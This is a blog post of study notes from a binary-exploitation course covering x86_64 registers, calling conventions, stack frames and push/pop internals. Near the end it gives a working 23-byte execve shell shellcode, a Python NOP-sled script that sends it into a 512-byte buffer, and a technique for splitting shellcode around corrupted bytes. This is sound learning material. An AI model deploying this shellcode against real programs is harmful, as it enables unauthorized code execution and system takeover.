mr_mph's blog
519 words
3 minutes
RET2 Systems notes
2024-07-07

Registers#

Stack Pointer: rsp ; points to the top of the stack
Base pointer: rbp ; points to the bottom of the stack

Access lower bytes of registers like so:

64-bit: rax, rcx, rsp
32-bit: eax, ecx, esp
16-bit: ax,  cx,  sp

8-bit-high: ah, ch (only for some registers)
8-bit-low: al, cl, spl

Assembly Language & Computer Architecture Lecture (CS 301)

x86_64 Calling Convention#

1st arg: rdi
2nd arg: rsi
3rd arg: rdx
4th arg: rcx
5th arg: r8
6th arg: r9

Result: rax

Stack Frame Layout#

Without Stack Canary

<local variables>    | ($rbp - 8) - ?
<saved base pointer> | $rbp points here
<return address>     | $rbp + 8
<stack arguments>    | ($rbp + 8) + ?

With Stack Canary

<local variables>    | ($rbp - 16) - ?
<stack canary>       | $rbp - 8
<saved base pointer> | $rbp points here
<return address>     | $rbp + 8
<stack arguments>    | ($rbp + 8) + ?

Here, with the canary

$rsp = 0x7fffffffed60 (top of the stack, just above the local variables)

Stack Visualization

$rbp = 0x7fffffffedc0 (where the previous stack frame’s RBP value is stored)

x86_64 Syscalls#

Calling Convention:

Syscall Number: $rax
Syscall Params: $rdi, $rsi, $rdx, $r10, $r8, $r9

x64 syscall arguments and numbers listed here:

x64.syscall.sh

Function Prologue#

Allocates a stack frame for the function

push rbp ; allocate 8 bytes on top of the stack and place rbp there (old rbp)
mov rbp, rsp ; set new base pointer to top of stack (rbp points to old rbp)
sub rsp, 0x30 ; allocate 48 bytes to the stack

Function Epilogue#

Release current stack frame and return execution to caller

leave ; release stack frame
ret ; pop return addr off stack into rip

contents of leave

mov rsp, rbp ; top of stack is now the old bottom of stack (releasing the old)
pop rbp ; base pointer is now the old rbp

contents of ret

pop rip

Pop Internals#

pop rax

Expanded:

mov rax, qword [rsp]   ; copy value at [rsp] into register
add rsp, 0x8           ; move rsp down 8 bytes (de-allocate)

Push Internals#

push rax

Expanded:

sub rsp, 0x8           ; move rsp up 8 bytes (allocate)
mov qword [rsp], rax   ; put value where rsp now points

23-Byte Shellcode#

xor esi, esi
movabs rbx, 0x68732f2f6e69622f 
push rsi
push rbx
push rsp
pop rdi
push 0x3b
pop rax
xor edx, edx
syscall

`\x31\xF6\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x56\x53\x54\x5F\x6A\x3B\x58\x31\xD2\x0F\x05`

Note: shellcode often needs to have no \x00 (null bytes) in it as that marks the end of a string

NOP-Sledding Example#

import interact

sh = b'\x31\xF6\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x56\x53\x54\x5F\x6A\x3B\x58\x31\xD2\x0F\x05'
nop = b'\x90'

p = interact.Process()
p.sendline(nop*(511-len(sh))+sh) # buffer size = 512
p.interactive()

Shellcode Splitting#

If part of the shellcode consistently gets corrupted

Original shellcode:

xor esi, esi
movabs rbx, 0x68732f2f6e69622f
push rsi
push rbx
push rsp
pop rdi
push 0x3b
pop rax
xor edx, edx
syscall

Split shellcode:

xor esi, esi
movabs rbx, 0x68732f2f6e69622f
push rsi
push rbx
jmp $+0x6 ; jumps to 'push rsp'
nop ; can be corrupted
nop ; can be corrupted
nop ; can be corrupted
nop ; can be corrupted
push rsp ; execution resumes here
pop rdi
push 0x3b
pop rax
xor edx, edx
syscall

The 0x6 comes from the fact that it is counting bytes in the assembly:

0xe:  eb 04                   jmp    14 <_main+0x14> ; rip=0xe
0x10: 90                      nop 
0x11: 90                      nop
0x12: 90                      nop
0x13: 90                      nop
0x14: 54                      push   rsp ; rip=0x14, 0x14-0xe=0x6

RET2 Systems notes
https://mr-mph.github.io/posts/ret2systems-notes/
Author
mr_mph
Published at
2024-07-07